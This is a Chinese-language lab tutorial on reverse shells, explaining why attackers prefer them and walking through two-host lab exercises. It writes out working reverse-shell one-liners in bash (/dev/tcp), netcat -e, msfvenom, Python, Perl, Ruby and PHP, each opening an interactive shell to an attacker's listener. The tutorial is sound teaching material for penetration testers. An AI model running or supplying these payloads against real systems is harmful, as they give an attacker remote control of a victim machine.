反弹shell

1.   关于反弹shellphp

就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。node

2.   反弹shell的缘由python

一般用于被控端因防火墙受限、权限不足、端口被占用等情形linux

假设咱们攻击了一台机器,打开了该机器的一个端口,攻击者在本身的机器去链接目标机器(目标ip:目标机器端口),这是比较常规的形式,咱们叫作正向链接。远程桌面,web服务,ssh,telnet等等,都是正向链接。那么什么状况下正向链接不太好用了呢?git

      1)某客户机中了你的网马,可是它在局域网内,你直接链接不了。github

      2)它的ip会动态改变,你不能持续控制。web

      3)因为防火墙等限制,对方机器只能发送请求,不能接收请求。shell

      4)对于病毒,木马,受害者何时能中招,对方的网络环境是什么样的,何时开关机,都是未知,因此创建一个服务端,让恶意程序主动链接,才是上策。ruby

      那么反弹就很好理解了,攻击者指定服务端,受害者主机主动链接攻击者的服务端程序,就叫反弹链接。bash

实验目的

经过该实验了解反弹shell的原理及各类方式的实现。

实验环境

Kali两台

hostA:10.1.1.100

hostB:10.1.1.101

实验步骤一

反弹shell是外网渗透的最后一步,也是内网渗透的第一步,本次实验不针对具体的某次渗透过程,重点在于针对反弹shell常见下的功能实现以及原理理解。

      先来看两台机器ip

      攻击机(称主机A)

      

 

      靶机(称主机B)

      

 

      bash直接反弹

      在主机A使用nc监听 ,命令:nc -lvvp 123

      

 

      在主机B上使用bash直接反弹,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&1

      

 

      此时主机A收到shell了

      

 

      这种方式是彻底从原理出发,并且涉及到linux的一些本质知识点,因此展开来具体说一下。

      关键点在主机B上执行的那一句话。

      1. Bash –I  即产生一个bash交互环境

      2. >&      

         1)当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件

         2)当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

      3. /dev/tcp/10.1.1.100/123  让主机B与主机A(10.1.1.100)进行tcp链接,端口为123(注:linux下全部内容都以文件形式组织存在,因此看到/dev/tcp不用感到奇怪,它是Linux中的一个特殊设备,打开这个文件就至关于进行了一个socket调用,创建一个socket链接)

      >& 后面接 /dev/tcp/ip/port,根据3的注释和2的注释1)部分可知,意思为将标准输出和标准错误输出重定向到这个文件,重定向到socket链接的远程主机A上,此时若是主机A正在监听相应的端口,就会收到主机B的bash的标准输出和标准错误输出

      4. 0>&1 将标准输入重定向到标准输出,而标准输出在以前已经重定向到主机A了,添加这一部分是由于若是没有这一部分,在主机A上只能接收输出,而没法输入,或者说没法交互,添加上这一部分后,在主机A看来,就至关于拿到了主机B的shell

      (注:0 - stdin 表明标准输入,使用<或<<

          1 - stdout 表明标准输出,使用>或>>

          2 - stderr 表明标准错误输出,使用2>或2>>)

      根据分析咱们能够修改一下这句话,看看是否如咱们分析的这样

      1)将0>&1修改成0>&2

      一样如今主机A开启监听,命令:nc -lvvp 123

      

 

      主机B修改后执行,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&2

      

 

      主机A一样的效果

      

 

      2)不添加 0>&2

      主机A链接,命令:nc -lvvp 123

      

 

      主机B修改后运行,命令:bash -i >& /dev/tcp/10.1.1.100/123

      

 

      主机A一样创建了链接,可是输入命令是没有效果的

      

 

      在主机B中输入命令时,主机B没有回显,回显出如今主机A上,命令执行后的回显也是在主机A上

      

 

      这正好说明了缺失第4部分的内容时,主机A只能标准输出和标准错误输出,没有标准输入,这一部分的知识点很是重要,好好理解。

实验步骤二

利用nc

      主机A开启监听,命令:nc -lvvp 1234

      

 

      主机B反弹一句话,命令:nc 10.1.1.100 1234 -t -e /bin/bash

      

 

      命令的意思是:使用nc命令直接创建一个tcp 1234 的会话链接,而后将本地的bash经过这个会话链接反弹给目标主机

 

      此时反弹成功

      

利用msfvenom

      在主机A上使用msfvenom –l进行搜索相关payload

      

 

      结合关键字进行过滤,优化搜索结果

      本次要用到的是反弹shell相关的payload,因此关键字为'cmd/unix/reverse',配合grep进行匹配便可

      则输入以下命令:msfvenom -l payloads | grep 'cmd/unix/reverse'

      

 

      从结果中能够看到有许多实现的方式,包括lua、nodej、perl等,为何会有这么多方式呢?这是为了适应不一样靶机的需求,可能目标靶机上只有perl的执行环境,那么就可使用perl实现的反弹shell的payload,若是靶机上只有python的环境,那么就使用python实现的payload,此处以python为例。选定payload后,设置后本机的ip和监听的端口

      命令:msfvenom -p cmd/unix/reverse_python lhost=10.1.1.100 lport=1234

      

 

      而后主机A上启动nc进行监听

      

 

      切换到主机B,在终端输入msfvenom给出的payload

      

 

      回车执行,便可在主机A上收到反弹的shell

      

 

      事实上,这部分的payload解码后就是python的一段脚本

      

 

      具体语言的反弹shell功能的实现会在下一部分说起

实验步骤三

具体语言实现

      先看python的

      仍是如今主机A上监听,命令nc -lvvp 123

      

 

      而后主机B上执行python,命令python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.100',123)) ;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"

      

 

      此时在主机A上就收到反弹shell了

      

 

      咱们分析下这段脚本的内容

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.105',123))   创建socket链接

      os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); 使用了os模块的dup2函数和socket模块的fileno函数

      fileno函数:返回套接字的文件描述符fd,若是从shell中运行一个进程,默认会有3个文件描述符存在(0、1、2), 0与进程的标准输入相关联,1与进程的标准输出相关联,2与进程的标准错误输出相关联。

      Dup2函数:dup2传入两个文件描述符,f1和f2(f1是必须存在的),若是f2存在,就关闭f2,而后将f1表明的那个文件强行复制给f2,f2这个文件描述符不会发生变化,可是fd2指向的文件就变成了f1指向的文件。这个函数最大的做用是重定向

      这句的代码的做用就是将fd2指向s.fileno(),而fileno()返回的是创建socket链接返回的文件描述符fd,也就是将将标准输入、标准输出、标准错误输出重定向到远程

      p=subprocess.call(['/bin/bash','-i'])  使用subprocess在本地开启子进程,同时传入“i“使得bash以交互模式启动

      通过以上代码的功能整合,在主机A就至关于接收到了主机B的shell

      其余语言的实现也是一样的道理,关键的点都在于创建socket链接以及以后的交互实现

 

1)perl语言的

      perl -e 'use Socket;$i="192.168.0.105";$p=123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

      

        

 

2)ruby语言的

      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.105","123");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

      

        

 

3)php语言

      最简单的是利用php的exec函数直接执行第一部分的那条bash反弹的命令,不过更常见的是这条命令

php -r '$sock=fsockopen("192.168.0.5",123);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

      3表明fsockopen函数创建socket链接后返回的文件描述符,在exec函数中进行重定向,其中的0,1,2分别是前面提到的标准输入、标准输出、标准错误输出。原理与前面分析的一致。

 

      

        

 
 
参考自合天实验室
相关文章
相关标签/搜索